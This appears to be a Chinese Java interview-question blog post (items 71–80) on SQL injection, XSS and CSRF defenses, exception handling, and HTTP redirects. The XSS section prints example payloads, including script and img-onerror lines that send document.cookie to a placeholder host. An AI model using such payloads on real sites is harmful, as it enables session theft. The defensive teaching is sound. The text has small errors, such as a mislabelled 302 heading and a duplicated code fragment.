206面试题(71~80)

208道Java面试题

文章目录

  • [**71. 如何避免 SQL 注入?**](#71. 如何避免 SQL 注入?)

  • [**72. 什么是 XSS 攻击,如何避免?**](#72. 什么是 XSS 攻击,如何避免?)

  • [**73. 什么是 CSRF 攻击,如何避免?**](#73. 什么是 CSRF 攻击,如何避免?)

  • [**74. throw 和 throws 的区别?**](#74. throw 和 throws 的区别?)

  • [**75. final、finally、finalize 有什么区别?**](#75. final、finally、finalize 有什么区别?)

  • [**76. try-catch-finally 中哪个部分可以省略?**](#76. try-catch-finally 中哪个部分可以省略?)

  • [**77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?**](#77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?)

  • [**78. 常见的异常类有哪些?**](#78. 常见的异常类有哪些?)

  • [**79. http 响应码 301 和 302 代表的是什么?有什么区别?**](#79. http 响应码 301 和 302 代表的是什么?有什么区别?)

  • [**80. forward 和 redirect 的区别?**](#80. forward 和 redirect 的区别?)

71. 如何避免 SQL 注入?

Java中的SQL注入是一种常见的网络攻击技术,攻击者通过在应用程序的输入字段中输入恶意的SQL代码,来破坏或操纵后端数据库的行为。这种攻击可以导致数据泄露、数据损坏甚至整个应用程序的崩溃。

SQL注入的原理

SQL注入通常发生在应用程序将用户输入直接拼接到SQL查询语句中时,而没有对输入进行适当的验证或转义。例如,一个应用程序可能允许用户通过输入字段来指定查询条件,如果这个输入没有被适当地处理,那么用户输入的恶意SQL代码就会被执行。

防止SQL注入的措施

1、使用预处理语句(Prepare Statements)

  • 预处理语句确保所有的输入都会被当作数据处理,而不是SQL代码的一部分。使用PreparedStatement类,可以提前编译SQL语句,并使用参数占用符?来代表输入的变量。无论用户输入什么数据,都会被当作字符串处理,而不是SQL语句。
java 复制代码
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.SQLException;
public class SqlInjectionExample {
    public void searchById(Connection connection, int id) throws SQLException {
        String query = "SELECT * FROM users WHERE id = ?";
        PreparedStatement preparedStatement = connection.prepareStatement(query);
        preparedStatement.setInt(1, id);
        ResultSet resultSet = preparedStatement.executeQuery();
        // 处理结果集
    }
}

2、输入验证

  • 在将用户输入内容应用于SQL查询之前,对输入进行验证,确保它们符合预期的格式。可以使用正则表达式或其他验证机制来实现。

3、使用ORM框架

  • Object-Relatinal Mapping(ORM)框架如HIbernate,JPA等提供了内置的防止SQL注入的机制。它们使用映射规则将Java对象与数据库表相关联,并自动生成安全的SQL查询。

4、参数化查询

  • 参数化查询是一种将数据作为参数传递给SQL语句的方法,而不是直接将它们嵌入到语句中。这可以确保用户输入不会被解释为SQL代码。

5、限制数据库权限

  • 确保应用程序的数据库账户只有必要的权限,这样即使发生SQL注入,攻击者也不能执行DROP TABLE或其他破坏性操作。

6、使用Web应用防火墙(WAF)

  • Web应用防火墙可以检测和阻止SQL注入攻击。它们通常具有预配置的规则,可以识别和过滤恶意输入。

7、安全编码实践

  • 遵循安全编码实践,使用专业的代码审计工具来检测潜在的安全漏洞。

72. 什么是 XSS 攻击,如何避免?

XSS攻击,就是跨站脚本攻击(Cross Site Scripting),是Web程序中常见的漏洞。

XSS攻击原理

在web页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。

XSS攻击的类型

1、DOM Bassed XSS:基于网页DOM结构的攻击。

例子:

  • input标签 Value 属性赋值。
java 复制代码
//jsp
<input type="text" value="<%= getParameter("content") %>">

访问

java 复制代码
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
  • 利用a标签的href属性的赋值。
java 复制代码
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>

访问

java 复制代码
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样
  • image 标签src属性,onload,onerror,onclick事件中注入恶意代码。
java 复制代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存储式XSS漏洞。

java 复制代码
<form action="save.do">
	<input name="content" value="">
</form>

输入 ,提交

当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie。

预防思路

  • web页面中可由用户输入的地方,对输入的数据转义,过滤处理。

  • 后台输出页面的时候,也需要对输出内容进行转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库)。

  • 前端对 html 标签属性、css 属性赋值的地方进行校验。

73. 什么是 CSRF 攻击,如何避免?

CSRF(Cross-Site Request Forgery),跨站请求伪造。也被称为one-click attack或session riding,是一种网络攻击方式。它利用用户在当前已登录的Web应用程序上执行非本意的操作,攻击者通过盗用用户的登录信息,以用户的身份模拟发送各种请求。这些请求对服务器来说是合法的,但实际上是完成了攻击者所期望的操作。

CSRF攻击原理

  • 用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A。

  • 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站。

  • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B(攻击者构建的恶意网站)。

  • 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A。

  • 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

避免CSRF攻击的方法

1、验证HTTP Referer字段

  • Referer是HTTP请求头中的一个字段,记录了该HTTP请求的来源地址。通过验证Referer字段,可以确保请求确实是从合法来源发出的。然而,需要注意的是,Referer字段可以被伪造或禁用 ,因此这种方法并不是完全可靠的。

2、使用Same Site Cookie

  • SameSite是Cookie的一个属性,用于限制Cookie的跨站访问。通过设置SameSite属性为Strict或Lax,可以限制Cookie在跨站请求时的发送。这种方法可以有效降低CSRF攻击的风险,但需要注意的是,部分较老的浏览器可能不支持SameSite属性。

3、在HTTP头中定义自定义属性并验证

  • 在HTTP请求中自定义属性(如Test)并进行验证。服务器在生成响应时,可以包含一个随机生成的Token,并在后续的请求中要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,以确保请求是由合法用户发出的。

4、使用CSRF Token令牌

  • CSRF Token是一种更为常见的防御方法。服务器在生成页面时,会嵌入一个随机生成的Token,并在表单提交时要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,如果Token不匹配或不存在,则拒绝请求。这种方法可以有效防止CSRF攻击,因为攻击者无法伪造有效的Token。

5、限制GET请求的使用

  • GET请求通常用于数据检索,不应该用于修改服务器上的数据。因此,应该限制GET请求的使用范围,并确保所有可能修改数据的操作都使用POST或其他安全的HTTP方法。

6、使用HTTPS

  • 虽然HTTPS本身并不能直接防止CSRF攻击,但它可以提供更安全的通信环境,减少中间人攻击的风险,从而间接提高Web应用程序的安全性。

7、同源策略

  • 现代浏览器实施了同源策略,限制了不同源(域名、协议、端口)之间的交互。确保关键操作只能在同一域名下进行,可以有效防止CSRF攻击。

8、使用验证码

  • 对于敏感操作,可以要求用户数额u验证码进行验证。增加了攻击者伪造合法请求的难度,从而提高了系统程序的安全性。

9、设置短期有效的Cookie

  • 将用户的身份验证信息存储在短期有效的Cookie中,这样即使Cookie被盗用,有效期也相对较短,减少了被盗用的风险。

10、防御点击劫持

  • 通过在响应头中添加X-Frame-Options,限制页面的嵌入方式。这样可以防止攻击者通过点击劫持等手段诱导用户执行非授权操作。

74. throw 和 throws 的区别?

1、用法区别

throw

  • 作用 :throw是一个关键字,用于在方法体内部抛出一个具体的异常对象。当程序执行到throw语句时,会立即停止当前方法的执行,并将控制权交给该方法的调用者,同时传递异常对象。

  • 作用域:throw只能用在方法体内,可以作为独立的语句使用。

  • 实例:throw new IllegalArgumentException("参数不合法");

throws

  • 作用throws是一个关键字,用于在方法声明时声明该方法可能会抛出的异常类型。它并不创建异常对象,而是告诉方法的调用者该方法可能会抛出哪些类型的异常,调用者需要对此进行处理(通过try-catch语句或继续向上抛出)。

  • 作用域throws必须跟在方法参数列表之后,方法体之前,且不能单独使用。

  • 实例:public void readFile(String fileName) throws FileNotFoundException{方法体}

2、语义区别

throw

  • 表示一个具体的动作,就是抛出一个异常对象。执行到throw语句时,会立即终止当前方法的执行流程。

throws

  • 表示一种可能。表示该方法在执行过程中可能会遇到某些类型的异常,但并不一定会抛出这些异常。它是一种声明机制,用于告知方法的调用者需要处理哪些可能的异常。

3、异常处理上的区别

throw

  • 抛出的是具体的异常对象,因此可以包含异常的具体信息(如错误消息、堆栈跟踪等)。

  • 抛出异常后,通常需要在调用者处使用try-catch语句进行捕获和处理,或者继续向上抛出。

throws

  • 声明的是异常类型,而不是具体的异常对象。

  • 调用者需要对声明的异常类型进行处理,可以通过try-catch语句捕获并处理,或者通过throws继续向上声明。

4、使用场景

throw

  • 当方法内部发生了某个具体的错误,且该错误无法通过当前方法内部的逻辑进行恢复时,可以使用throw抛出异常,让调用者知道发生了什么问题。

throws

  • 当方法可能会因为某些外部因素(如文件不存在、网络错误等)而失败时,可以使用throws声明这些可能的异常,以便调用者能够提前了解并准备相应的处理逻辑。

5、注意事项

  • throws可以声明多个异常类型,异常类型之间用逗号分隔。

  • throw抛出的异常对象必须是Throwable或其子类的实例。

  • 在使用throws声明异常时,应该尽量声明具体的异常类型,而不是笼统地声明为ExceptionThrowable,这有助于调用者更准确地了解异常的性质和处理方式。

75. final、finally、finalize 有什么区别?

性质区别

  • final:关键字。

  • finalize():方法。

  • finally:区块标志,用于try语句中。

作用区别

  • final:用于标识常量的关键字,final标识的关键字存储在常量池中。

  • finalize():finalize()方法在Object中进行了定义,用于在对象"消失"时,由JVM进行调用用于对对象 进行垃圾回收。

  • finally{}:用于标识代码块,与try{ }进行配合,不论try中的代码执行完或没有执行完(这里指有异常),该代码块之中的程序必定会进行 .

final的用法

  • 被final修饰的类不可以被继承。

  • 被final修饰的方法不能被重写。

  • 被final修饰的变量不能呗改变。如果修饰引用,那么表示引用不可变,引用指向的内容可变。

  • 被final显示的方法VM会尝试将其内联,以提高运行效率被final修饰的常量,在编译阶段会存入常量池中。

finally的用法

  • 在异常处理中的使用的,不管 try 语句块正常结束还是异常结束,finally 语句块是保证要执行的。

  • 如果 try 语句块正常结束,那么在 try 语句块中的语句都执行完之后,再执行 finally 语句块。

  • 当try和catch中有return时,finally仍然会执行; finally是在return后面的表达式运算后执行的。

finalize的用法

finalize() 是Java中Object的一个protected方法.返回值为空,当该对象被垃圾回收器回收时,会调用该方法。

finalize()函数

  • finalize不等价于c++中的析构函数。

  • 对象可能不被垃圾回收器回收。

  • 垃圾回收不等于析构。

  • 垃圾回收只与内存有关。

  • 垃圾回收和finalize()都是靠不住的,只要JVM还没有快到耗尽内存的地步,它是不会浪费时间进行垃圾回收的。

  • 程序强制终结后,那些失去引用的对象将会被垃圾回收.(System.gc())。

76. try-catch-finally 中哪个部分可以省略?

try必须和catch或finally中连用一个。

try-catch

java 复制代码
public class TryCatchExample {
    public static void main(String[] args) {
        try {
            // 尝试执行的代码块
            int result = 10 / 0; // 这将引发一个ArithmeticException,因为不能除以零
            System.out.println("结果是: " + result);
        } catch (ArithmeticException e) {
            // 当try块中的代码引发ArithmeticException时执行的代码块
            System.out.println("捕获到异常: 不能除以零");
            // 可以在这里处理异常,比如记录日志、给用户显示错误信息等
        }
        
        // 这里的代码将继续执行,即使try块中发生了异常并且被catch块捕获
        System.out.println("程序继续执行...");
    }
}

try-finally

java 复制代码
public class TryFinallyExample {
    public static void main(String[] args) {
        FileInputStream fileInput = null;
        try {
            // 尝试打开文件并读取数据
            fileInput = new FileInputStream("example.txt");
            int data = fileInput.read();
            while(data != -1) {
                System.out.print((char) data);
                data = fileInput.read();
            }
        } finally {
            // 无论是否发生异常,都会执行finally块中的代码
            if (fileInput != null) {
                try {
                    fileInput.close(); // 关闭文件输入流
                } catch (IOException e) {
                    // 处理关闭文件时的异常
                    System.out.println("关闭文件时发生错误: " + e.getMessage());
                }
            }
            System.out.println("文件操作完成,资源已释放。");
        }
    }
}

try-catch-finally

java 复制代码
public class TryCatchFinallyExample {
    public static void main(String[] args) {
        FileReader fileReader = null;
        try {
            // 尝试打开文件
            fileReader = new FileReader("example.txt");
            int data;
            while ((data = fileReader.read()) != -1) {
                // 读取文件内容并打印到控制台
                System.out.print((char) data);
            }
        } catch (FileNotFoundException e) {
            // 捕获并处理文件未找到异常
            System.out.println("文件未找到: " + e.getMessage());
        } catch (IOException e) {
            // 捕获并处理其他I/O异常
            System.out.println("读取文件时发生错误: " + e.getMessage());
        } finally {
            // 无论是否发生异常,都会执行finally块中的代码
            if (fileReader != null) {
                try {
                    fileReader.close(); // 关闭文件读取器以释放资源
                } catch (IOException e) {
                    // 处理关闭文件时的异常
                    System.out.println("关闭文件时发生错误: " + e.getMessage());
                    // 注意:在实际应用中,通常不建议在finally块中抛出或重新抛出异常,
                    // 因为这可能会隐藏原始异常信息。这里仅为了演示如何处理关闭时的异常。
                }
            }
            System.out.println("文件操作完成,资源已释放(或尝试释放)。");
        }
    }
}

77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?

是的。即使catch块中执行了return语句,finally块仍然会执行。

finally块是异常处理的最后阶段,它通常用于清理资源,比如关闭文件流、释放锁或者关闭数据库连接等。无论是否发生异常,无论 try 块还是 catch 块中的代码是否正常执行或者提前退出(通过 return 语句实现退出),finally 块总是会执行。

例子

java 复制代码
public class FinallyExample {
    public static void main(String[] args) {
        try {
            // 可能会抛出异常的代码
            System.out.println("In try block");
            throw new Exception("Exception in try block");
        } catch (Exception e) {
            // 处理异常的代码
            System.out.println("In catch block");
            return; // 即使这里返回,finally块仍然会执行
        } finally {
            // 无论是否发生异常都会执行的代码
            System.out.println("In finally block");
        }
    }
}

注意:

在这个例子中,即使catch使用了return语句,控制台仍然会输出"In finally block"。

但是如果在finally中使用了return语句。则finally中的return语句会覆盖try和catch块中的return。这意味着,最终方法返回的是finally块中的返回值。
*

78. 常见的异常类有哪些?

常见的编译时异常

  • SQLException:提供有关数据库访问错误或其他错误的信息的异常。如:SQL语句错误,无表等。

  • IOexception:表示发生了某种I / O异常的信号。此类是由失败或中断的I / O操作产生的一般异常类。

  • FileNotFoundException:当试图打开指定路径名表示的文件失败时,抛出此异常。(IOexception的子类)。这里的找不到是在你的编译结果文件夹里面找不到,而不是在你的工程里面找不到。

  • ClassNotFoundException:找不到具有指定名称的类的定义。

  • EOFException:当输入过程中意外到达文件或流的末尾时,抛出此异常。(IOexception的子类)。

常见的运行时异常

  • StringIndexOutOfBoundsException :指示某排序索引(例如对数组、字符串或向量的排序)超出范围时抛出。

  • ArrayIndexOutOfBoundsException :用非法索引访问数组时抛出的异常。如果索引为负或大于等于数组大小,则该索引为非法索引。

  • ArithmeticException :当出现异常的运算条件时,抛出此异常。如:除以零

  • IllegaArguementException :抛出的异常表明向方法传递了一个不合法或不正确的参数。

  • NullPointerException:当应用程序试图在需要对象的地方使用 null 时,抛出该异常。

79. http 响应码 301 和 302 代表的是什么?有什么区别?

HTTP响应301和302是用于进行HTTP重定向的状态码。

HTTP 301 Moved Permanently(永久重定向)

  • 当服务器返回HTTP 301状态码时,表示请求的资源已经被永久移动到新的位置。

  • 客户端在接收到这个响应后,应该更新所有引用该资源的链接。搜索引擎也会把链接权重从原始 URL 转移到新的 URL。

Http 302 Found(临时重定向)

  • 当服务器返回HTTP 302状态码时,表示请求的资源临时被移动到新的位置。

  • 客户端在接收到这个响应后,通常应该使用新的 URL 进行后续的请求。搜索引擎在处理这种情况时不会更新链接的权重。

区别

永久重定向(301)

  • 表示请求的资源已经永久移动到新的位置。

  • 客户端在接收到 301 后,应该更新所有引用该资源的链接。

  • 浏览器会缓存这个重定向,之后直接访问原始 URL 时会自动跳转到新的 URL。

临时重定向(301)

  • 表示请求的资源临时被移动到新的位置。

  • 客户端在接收到 302 后,通常应该使用新的 URL 进行后续的请求。

  • 浏览器不会缓存这个重定向,之后访问原始 URL 时仍会请求原始位置。

代码举例说明

java 复制代码
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.http.HttpStatus;

@Controller
public class RedirectController {

    @GetMapping("/redirect301")
    @ResponseStatus(HttpStatus.MOVED_PERMANENTLY)
    public String redirect301() {
        return "redirect:/new-url";
    }

    @GetMapping("/redirect302")
    @ResponseStatus(HttpStatus.FOUND)
    public String redirect302() {
        return "redirect:/new-url";
    }
}

tatus.FOUND)

public String redirect302() {

return "redirect:/new-url";

}

}

``

redirect301方法返回 HTTP 301,而 redirect302方法返回 HTTP 302。这些方法使用了 Spring 的注解 @ResponseStatus来指定返回的 HTTP 状态码。

80. forward 和 redirect 的区别?

forward和redirect

forward

  • forward又叫转发,表示转发。当请求到来时,可以将请求转发到其他的指定服务,用户端不知道。

redirect

  • redirect表示转发,当请求发给A服务时,服务A返回重定向给客户端,客户端再去请求B服务。

forward使用注意

  • 转发和被转发的请求类型必须一致,即全是GET或者POST。

  • 转发者方法不能被标识位@RestController或者@ResponseBody。

redirect使用注意

  • redirect不支持post请求.

  • redirect需要携带请求参数,需要在url地址中进行编码防止中文乱码。

forward、redirect区别

1、地址栏

  • ​forword是服务器内部的重定向,服务器直接访问目标地址的 url网址,把里面的东西读取出来,但是客户端并不知道,因此用forward的话,客户端浏览器的网址是不会发生变化的。

  • ​redirect是服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,所以地址栏显示的是新的地址。

2、数据分享

  • ​由于在整个定向的过程中用的是同一个request,因此forward会将request的信息带到被重定向的jsp或者 servlet中使用。即可以共享数据。

  • redirect不能共享数据。

3、使用场景

  • ​forword 一般用于用户登录的时候,根据角色转发到相应的模块。

  • ​redirect一般用于用户注销登录时返回主页面或者跳转到 其他网站。

4、效率

  • forward效率较高。

  • redirect效率较低。

5、本质

  • forward:转发时服务器上的行为。

  • redirect:重定向时客户端的行为。

6、请求次数

  • forward:一次。

  • redirect:两次。

相关推荐
且去填词25 分钟前
Go 语言的“反叛”——为什么少即是多?
开发语言·后端·面试·go
青莲8433 小时前
RecyclerView 完全指南
android·前端·面试
青莲8433 小时前
Android WebView 混合开发完整指南
android·前端·面试
37手游后端团队6 小时前
gorm回读机制溯源
后端·面试·github
C雨后彩虹7 小时前
竖直四子棋
java·数据结构·算法·华为·面试
CC码码8 小时前
不修改DOM的高亮黑科技,你可能还不知道
前端·javascript·面试
indexsunny9 小时前
互联网大厂Java面试实战:微服务、Spring Boot与Kafka在电商场景中的应用
java·spring boot·微服务·面试·kafka·电商
自燃人~10 小时前
实战都通用的 Watchdog 原理说明
redis·面试
boooooooom10 小时前
手写高质量深拷贝:攻克循环引用、Symbol、WeakMap等核心难点
javascript·面试
小鸡脚来咯11 小时前
Linux 服务器问题排查指南(面试标准回答)
linux·服务器·面试